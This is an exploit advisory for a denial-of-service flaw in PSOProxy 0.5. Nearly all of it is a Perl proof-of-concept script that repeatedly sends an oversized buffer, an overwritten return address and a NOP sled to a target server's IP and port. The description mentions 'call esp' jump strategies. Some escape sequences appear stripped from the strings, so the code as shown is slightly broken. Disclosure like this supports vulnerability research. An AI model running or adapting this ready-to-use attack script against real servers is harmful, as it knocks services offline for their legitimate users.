Authored by Fernando Mengali

PSOProxy version 0.5 suffers from a denial of service vulnerability.

#!/usr/bin/perl

use IO::Socket::INET;

# Exploit Title: PSOProxy 0.5 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 10 january 2024
# Vendor Homepage: https://sourceforge.net/projects/psoproxy/files/psoproxy/0.5/
# Download to demo: https://drive.google.com/file/d/1GC2GWGOx9Z1vWT_mxnGXHuTptuHa7lIp/view?usp=sharing
# Download to demo 2: https://drive.google.com/file/d/1DHQ1sZL3mqlqFWn50eq7FLVtzX3E6qgC/view?usp=sharing
# Notification vendor: No reported
# Tested Version: PSOProxy 0.5
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# VĂ­deo: https://www.youtube.com/watch?v=0uuUqfpRbHM

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data to web server.
#The following request sends a large amount of data to the web server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}

system("$cmd");

intro();
main();

print "t ==> Connecting to webserver... nn";
sleep(1);

my $i=0;
print "t ==> Exploiting... nn";
while ($i <= 9) {
my $sock = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => $port,
Proto => 'tcp',
) or die "Cannot connect to $ip:$port: $!n";

my $buffer = "A" x 3000;
my $shellcode = "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" .
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90";

$buffer .= "x0Fx98xF8x77" . $shellcode;

print $sock $buffer . "rn";
close($sock);

$i++;
}

print "t ==> Done! Exploited!";
sub intro {
print q {

,--,
_ ___/ /|
,;'( )__, ) ~
// // '--;
' | ^
^ ^

[+] PSOProxy 0.5 - Denial of Service (DoS)

[*] Coded by Fernando Mengali

[@] e-mail: [email protected]

}
}

sub main {

our ($ip, $port) = @ARGV;

unless (defined($ip) && defined($port)) {

print "ntUsage: $0 <ip> <port> n";
exit(-1);

}
}

#3. Solution/ How to fix:

# This version product is deprecated